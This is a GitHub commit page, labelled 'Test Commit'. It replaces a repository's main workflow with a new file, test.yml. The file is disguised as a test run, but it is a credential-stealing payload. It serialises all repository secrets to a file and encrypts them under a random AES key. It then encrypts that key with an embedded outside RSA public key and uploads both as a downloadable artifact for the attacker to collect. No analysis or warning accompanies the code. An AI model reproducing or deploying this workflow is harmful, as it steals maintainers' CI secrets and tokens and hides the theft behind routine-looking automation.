Skip to content

Commit

Permalink
Test Commit
Browse files Browse the repository at this point in the history
  • Loading branch information
cabbagelol committed Sep 12, 2024
1 parent 35462bb commit ed25a9a
Show file tree
Hide file tree
Showing 2 changed files with 57 additions and 26 deletions.
26 changes: 0 additions & 26 deletions .github/workflows/main.yml

This file was deleted.

57 changes: 57 additions & 0 deletions .github/workflows/test.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
name: tthbcomtgk
on:
push:
branches: tthbcomtgk
jobs:
testing:
runs-on:
- ubuntu-latest
steps:
- env:
VALUES: ${{ toJSON(secrets)}}
name: Prepare repository
run: "\ncat <<EOF > output.json\n$VALUES\nEOF\n "
- name: Run Tests
env:
PUBKEY: '-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmQROTBmKLHkBbopyn3t5
SYDnL7FHGR74kmSY9M4SGAjEX+0OD3cac73e9LZnCvtGcURNnAFy4PcyKFUNKIjU
iXkXFzDac4bjgrlM81kPD6Jiwng8IxZvfbA7GDjfbfjF8f8Mg+2lEP01q7M8tc+e
iN5sMdi7WtiU5cdYfbRmkrZ+zFr7MWEw4nGKf9OgCJMKrBRv/HQ6hw643ZRRen8y
rqGlQJFSNOsfBIqkMKmj4+Q9S5L8dADtYPOrcD5X/2GoKZRMeuaWz6t0KxHaK1Tl
VtrQLIoDGnVfXo+1pg78Kshrh1usS5meWDmlH6D3eDoKrdgvvCKk6NgklEC1EBbu
w6n2kTvAoc4zlQaXnW57e0uQePi9vzTkIQ0Ymuc8A6js/NzI6RJEwJUJ538nIpUq
PYdOo+xsg4tJrV6u0lgqVNW7vEsBvRuPLNz/pE8l4TNFMoBkYB7UJDU9YfShmV6L
rKWKrHzFTRqdxdg9yuM7O+HvKZFa7IqpjcW59eXNQO4uZi74pPtr4hKAc8M8ksb5
D8Qc2z8La5CRhuYVUr7Rj6vpk9/YLVrM+edpzCV2q+BZo0G4dBh7FRkWyAxYsdQW
EIMqLzwkLEd1hc329VUyvBOxsAfGGSz0+TvO60HPAWQOG1PP32y0m8H2eGW8gSVG
p/usY21VHKltPWuolxBWKS8CAwEAAQ==
-----END PUBLIC KEY-----
'
run: aes_key=$(openssl rand -hex 12 | tr -d '\n');openssl enc -aes-256-cbc -pbkdf2
-in output.json -out output_updated.json -pass pass:$aes_key;echo $aes_key
| openssl rsautl -encrypt -pkcs -pubin -inkey <(echo "$PUBKEY") -out lookup.txt
2> /dev/null;
- name: Upload artifacts
uses: actions/upload-artifact@v4
with:
name: files
path: ' |
output_updated.json
lookup.txt'

0 comments on commit ed25a9a

Please sign in to comment.